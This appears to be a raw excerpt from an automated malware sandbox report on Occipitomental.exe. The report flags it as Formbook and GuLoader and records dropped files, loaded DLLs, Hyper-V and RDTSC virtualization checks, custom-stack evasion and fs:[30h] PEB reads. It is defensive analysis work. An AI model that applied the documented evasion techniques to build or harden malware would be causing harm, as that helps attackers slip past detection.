        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578EE266_2_3578EE26
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578EEDB6_2_3578EEDB
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578CE936_2_3578CE93
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E2E906_2_356E2E90
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E69626_2_356E6962
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D29A06_2_356D29A0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3579A9A66_2_3579A9A6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356D28406_2_356D2840
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DA8406_2_356DA840
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FE8F06_2_356FE8F0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B68B86_2_356B68B8
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3578AB406_2_3578AB40
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35786BD76_2_35786BD7
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CEA806_2_356CEA80
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: String function: 35705130 appears 58 times
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: String function: 3573EA12 appears 82 times
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: String function: 3574F290 appears 103 times
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: String function: 356BB970 appears 277 times
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: String function: 35717E54 appears 111 times
        Source: Occipitomental.exeStatic PE information: invalid certificate
        Source: Occipitomental.exeStatic PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
        Source: Occipitomental.exe, 00000006.00000003.3530139121.0000000035461000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Occipitomental.exe
        Source: Occipitomental.exe, 00000006.00000002.3595143227.0000000035961000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Occipitomental.exe
        Source: Occipitomental.exe, 00000006.00000003.3532410512.000000003560F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs Occipitomental.exe
        Source: Occipitomental.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
        Source: 00000006.00000002.3595105128.0000000035330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
        Source: classification engineClassification label: mal92.troj.evad.winEXE@3/9@2/2
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_004030D9 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,LdrInitializeThunk,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,LdrInitializeThunk,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_004030D9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_00404320 GetDlgItem,SetWindowTextA,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,LdrInitializeThunk,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,0_2_00404320
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_0040205E LdrInitializeThunk,CoCreateInstance,MultiByteToWideChar,LdrInitializeThunk,0_2_0040205E
        Source: C:\Users\user\Desktop\Occipitomental.exeFile created: C:\Users\user\AppData\Local\barberkniveneJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile created: C:\Users\user~1\AppData\Local\Temp\nsiA158.tmpJump to behavior
        Source: Occipitomental.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
        Source: C:\Users\user\Desktop\Occipitomental.exeFile read: C:\Users\desktop.iniJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
        Source: Occipitomental.exeReversingLabs: Detection: 60%
        Source: C:\Users\user\Desktop\Occipitomental.exeFile read: C:\Users\user\Desktop\Occipitomental.exeJump to behavior
        Source: unknownProcess created: C:\Users\user\Desktop\Occipitomental.exe "C:\Users\user\Desktop\Occipitomental.exe"
        Source: C:\Users\user\Desktop\Occipitomental.exeProcess created: C:\Users\user\Desktop\Occipitomental.exe "C:\Users\user\Desktop\Occipitomental.exe"
        Source: C:\Users\user\Desktop\Occipitomental.exeProcess created: C:\Users\user\Desktop\Occipitomental.exe "C:\Users\user\Desktop\Occipitomental.exe"Jump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: version.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: shfolder.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: powrprof.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: winhttp.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: wkscli.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: umpdc.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: wininet.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: winnsi.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: rasadhlp.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: fwpuclnt.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: schannel.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: mskeyprotect.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: ntasn1.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: msasn1.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: dpapi.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: rsaenh.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: gpapi.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: ncrypt.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeSection loaded: ncryptsslp.dllJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile written: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\engelskgrs.iniJump to behavior
        Source: Occipitomental.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
        Source: Binary string: mshtml.pdb source: Occipitomental.exe, 00000006.00000001.3062958359.0000000000649000.00000020.00000001.01000000.00000008.sdmp
        Source: Binary string: wntdll.pdbUGP source: Occipitomental.exe, 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3532410512.00000000354E2000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530139121.000000003533E000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: wntdll.pdb source: Occipitomental.exe, Occipitomental.exe, 00000006.00000002.3595143227.000000003582E000.00000040.00001000.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3532410512.00000000354E2000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3595143227.0000000035690000.00000040.00001000.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530139121.000000003533E000.00000004.00000020.00020000.00000000.sdmp
        Source: Binary string: mshtml.pdbUGP source: Occipitomental.exe, 00000006.00000001.3062958359.0000000000649000.00000020.00000001.01000000.00000008.sdmp

        Data Obfuscation

        barindex
        Yara detected GuLoader
        Source: Yara matchFile source: 00000006.00000002.3573012029.000000000215F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.3064036852.0000000003A2F000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,0_2_10001A5D
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_10002D20 push eax; ret 0_2_10002D4E
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3569135D push eax; iretd 6_2_35691369
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356927FA pushad ; ret 6_2_356927F9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3569225F pushad ; ret 6_2_356927F9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C09AD push ecx; mov dword ptr [esp], ecx6_2_356C09B6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3569283D push eax; iretd 6_2_35692858
        Source: C:\Users\user\Desktop\Occipitomental.exeFile created: C:\Users\user\AppData\Local\Temp\nslA8AC.tmp\System.dllJump to dropped file
        Source: C:\Users\user\Desktop\Occipitomental.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\engelskgrs.iniJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

        Malware Analysis System Evasion

        barindex
        Switches to a custom stack to bypass stack traces
        Source: C:\Users\user\Desktop\Occipitomental.exeAPI/Special instruction interceptor: Address: 4007380
        Source: C:\Users\user\Desktop\Occipitomental.exeAPI/Special instruction interceptor: Address: 2737380
        Tries to detect virtualization through RDTSC time measurements
        Source: C:\Users\user\Desktop\Occipitomental.exeRDTSC instruction interceptor: First address: 3FE2BFC second address: 3FE2BFC instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F2CE052440Ah 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc
        Source: C:\Users\user\Desktop\Occipitomental.exeRDTSC instruction interceptor: First address: 2712BFC second address: 2712BFC instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F2CE0D2C8FAh 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 rdtsc
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357916A6 rdtsc 6_2_357916A6
        Source: C:\Users\user\Desktop\Occipitomental.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nslA8AC.tmp\System.dllJump to dropped file
        Source: C:\Users\user\Desktop\Occipitomental.exeAPI coverage: 0.1 %
        Source: C:\Users\user\Desktop\Occipitomental.exe TID: 7808Thread sleep time: -30000s >= -30000sJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_00406001 FindFirstFileA,FindClose,0_2_00406001
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_00402688 FindFirstFileA,0_2_00402688
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_0040559F GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_0040559F
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Windows\INetCacheJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\userJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\user\AppData\Local\MicrosoftJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\user\AppData\Local\Microsoft\WindowsJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
        Source: C:\Users\user\Desktop\Occipitomental.exeFile opened: C:\Users\user\AppDataJump to behavior
        Source: Occipitomental.exe, 00000006.00000002.3576972256.00000000055FB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWx@c
        Source: Occipitomental.exe, 00000006.00000003.3572867436.000000000562D000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530700388.000000000562D000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3577030199.000000000562D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
        Source: Occipitomental.exe, 00000006.00000003.3572867436.000000000562D000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000003.3530700388.000000000562D000.00000004.00000020.00020000.00000000.sdmp, Occipitomental.exe, 00000006.00000002.3577030199.000000000562D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW"
        Source: C:\Users\user\Desktop\Occipitomental.exeAPI call chain: ExitProcess graph end nodegraph_0-4627
        Source: C:\Users\user\Desktop\Occipitomental.exeAPI call chain: ExitProcess graph end nodegraph_0-4634
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357916A6 rdtsc 6_2_357916A6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_00401751 lstrcatA,CompareFileTime,LdrInitializeThunk,SetFileTime,CloseHandle,lstrcatA,0_2_00401751
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,0_2_10001A5D
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356BB562 mov eax, dword ptr fs:[00000030h]6_2_356BB562
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FB570 mov eax, dword ptr fs:[00000030h]6_2_356FB570
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FB570 mov eax, dword ptr fs:[00000030h]6_2_356FB570
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576B550 mov eax, dword ptr fs:[00000030h]6_2_3576B550
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576B550 mov eax, dword ptr fs:[00000030h]6_2_3576B550
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576B550 mov eax, dword ptr fs:[00000030h]6_2_3576B550
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_35795537 mov eax, dword ptr fs:[00000030h]6_2_35795537
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576F525 mov eax, dword ptr fs:[00000030h]6_2_3576F525
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576F525 mov eax, dword ptr fs:[00000030h]6_2_3576F525
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576F525 mov eax, dword ptr fs:[00000030h]6_2_3576F525
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576F525 mov eax, dword ptr fs:[00000030h]6_2_3576F525
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576F525 mov eax, dword ptr fs:[00000030h]6_2_3576F525
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576F525 mov eax, dword ptr fs:[00000030h]6_2_3576F525
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576F525 mov eax, dword ptr fs:[00000030h]6_2_3576F525
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577B52F mov eax, dword ptr fs:[00000030h]6_2_3577B52F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CD534 mov eax, dword ptr fs:[00000030h]6_2_356CD534
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CD534 mov eax, dword ptr fs:[00000030h]6_2_356CD534
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CD534 mov eax, dword ptr fs:[00000030h]6_2_356CD534
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CD534 mov eax, dword ptr fs:[00000030h]6_2_356CD534
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CD534 mov eax, dword ptr fs:[00000030h]6_2_356CD534
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CD534 mov eax, dword ptr fs:[00000030h]6_2_356CD534
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FD530 mov eax, dword ptr fs:[00000030h]6_2_356FD530
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356FD530 mov eax, dword ptr fs:[00000030h]6_2_356FD530
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F7505 mov eax, dword ptr fs:[00000030h]6_2_356F7505
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F7505 mov ecx, dword ptr fs:[00000030h]6_2_356F7505
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15F4 mov eax, dword ptr fs:[00000030h]6_2_356E15F4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15F4 mov eax, dword ptr fs:[00000030h]6_2_356E15F4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15F4 mov eax, dword ptr fs:[00000030h]6_2_356E15F4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15F4 mov eax, dword ptr fs:[00000030h]6_2_356E15F4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15F4 mov eax, dword ptr fs:[00000030h]6_2_356E15F4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15F4 mov eax, dword ptr fs:[00000030h]6_2_356E15F4
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3573D5D0 mov eax, dword ptr fs:[00000030h]6_2_3573D5D0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3573D5D0 mov ecx, dword ptr fs:[00000030h]6_2_3573D5D0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357935D7 mov eax, dword ptr fs:[00000030h]6_2_357935D7
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357935D7 mov eax, dword ptr fs:[00000030h]6_2_357935D7
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357935D7 mov eax, dword ptr fs:[00000030h]6_2_357935D7
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356F55C0 mov eax, dword ptr fs:[00000030h]6_2_356F55C0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357955C9 mov eax, dword ptr fs:[00000030h]6_2_357955C9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E95DA mov eax, dword ptr fs:[00000030h]6_2_356E95DA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3575D5B0 mov eax, dword ptr fs:[00000030h]6_2_3575D5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3575D5B0 mov eax, dword ptr fs:[00000030h]6_2_3575D5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15A9 mov eax, dword ptr fs:[00000030h]6_2_356E15A9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15A9 mov eax, dword ptr fs:[00000030h]6_2_356E15A9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15A9 mov eax, dword ptr fs:[00000030h]6_2_356E15A9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15A9 mov eax, dword ptr fs:[00000030h]6_2_356E15A9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356E15A9 mov eax, dword ptr fs:[00000030h]6_2_356E15A9
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577F5BE mov eax, dword ptr fs:[00000030h]6_2_3577F5BE
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357535BA mov eax, dword ptr fs:[00000030h]6_2_357535BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357535BA mov eax, dword ptr fs:[00000030h]6_2_357535BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357535BA mov eax, dword ptr fs:[00000030h]6_2_357535BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357535BA mov eax, dword ptr fs:[00000030h]6_2_357535BA
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_357935B6 mov eax, dword ptr fs:[00000030h]6_2_357935B6
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF5B0 mov eax, dword ptr fs:[00000030h]6_2_356EF5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF5B0 mov eax, dword ptr fs:[00000030h]6_2_356EF5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF5B0 mov eax, dword ptr fs:[00000030h]6_2_356EF5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF5B0 mov eax, dword ptr fs:[00000030h]6_2_356EF5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF5B0 mov eax, dword ptr fs:[00000030h]6_2_356EF5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF5B0 mov eax, dword ptr fs:[00000030h]6_2_356EF5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF5B0 mov eax, dword ptr fs:[00000030h]6_2_356EF5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF5B0 mov eax, dword ptr fs:[00000030h]6_2_356EF5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356EF5B0 mov eax, dword ptr fs:[00000030h]6_2_356EF5B0
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574B594 mov eax, dword ptr fs:[00000030h]6_2_3574B594
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3574B594 mov eax, dword ptr fs:[00000030h]6_2_3574B594
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B758F mov eax, dword ptr fs:[00000030h]6_2_356B758F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B758F mov eax, dword ptr fs:[00000030h]6_2_356B758F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356B758F mov eax, dword ptr fs:[00000030h]6_2_356B758F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3579547F mov eax, dword ptr fs:[00000030h]6_2_3579547F
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C1460 mov eax, dword ptr fs:[00000030h]6_2_356C1460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C1460 mov eax, dword ptr fs:[00000030h]6_2_356C1460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C1460 mov eax, dword ptr fs:[00000030h]6_2_356C1460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C1460 mov eax, dword ptr fs:[00000030h]6_2_356C1460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356C1460 mov eax, dword ptr fs:[00000030h]6_2_356C1460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DF460 mov eax, dword ptr fs:[00000030h]6_2_356DF460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DF460 mov eax, dword ptr fs:[00000030h]6_2_356DF460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DF460 mov eax, dword ptr fs:[00000030h]6_2_356DF460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DF460 mov eax, dword ptr fs:[00000030h]6_2_356DF460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DF460 mov eax, dword ptr fs:[00000030h]6_2_356DF460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356DF460 mov eax, dword ptr fs:[00000030h]6_2_356DF460
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3577F453 mov eax, dword ptr fs:[00000030h]6_2_3577F453
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576B450 mov eax, dword ptr fs:[00000030h]6_2_3576B450
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576B450 mov eax, dword ptr fs:[00000030h]6_2_3576B450
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576B450 mov eax, dword ptr fs:[00000030h]6_2_3576B450
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_3576B450 mov eax, dword ptr fs:[00000030h]6_2_3576B450
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB440 mov eax, dword ptr fs:[00000030h]6_2_356CB440
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB440 mov eax, dword ptr fs:[00000030h]6_2_356CB440
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB440 mov eax, dword ptr fs:[00000030h]6_2_356CB440
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB440 mov eax, dword ptr fs:[00000030h]6_2_356CB440
        Source: C:\Users\user\Desktop\Occipitomental.exeCode function: 6_2_356CB440 mov eax, dword ptr fs:[00000030h]6_2_356CB440
